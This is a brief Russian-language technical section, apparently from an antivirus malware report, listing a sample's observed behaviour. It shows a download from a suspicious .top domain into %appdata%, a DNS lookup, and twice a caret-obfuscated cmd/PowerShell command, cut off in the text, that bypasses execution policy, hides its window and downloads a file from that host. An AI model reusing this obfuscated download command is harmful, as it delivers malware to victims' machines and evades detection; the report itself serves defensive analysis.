Техническая информация
- http://cometogod.top/search.php как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "PoW^e^rshe^L^L.ExE ^-E^X^ECuTIO^Np^O^liCY b^ypaSs ^-NopRofI^Le^ ^-Win^dO^W^S^TylE^ H^i^D^DEn ^(NeW-o^b^j^e^ct^ S^Y^StE^M^.^NE^T.^Web^CLie^NT).DOWNLOaD^fiL^e(^'http://cometogod.to...
- DNS ASK co###ogod.top
- '<SYSTEM32>\cmd.exe' /C "PoW^e^rshe^L^L.ExE ^-E^X^ECuTIO^Np^O^liCY b^ypaSs ^-NopRofI^Le^ ^-Win^dO^W^S^TylE^ H^i^D^DEn ^(NeW-o^b^j^e^ct^ S^Y^StE^M^.^NE^T.^Web^CLie^NT).DOWNLOaD^fiL^e(^'http://cometogod.to...' (со скрытым окном)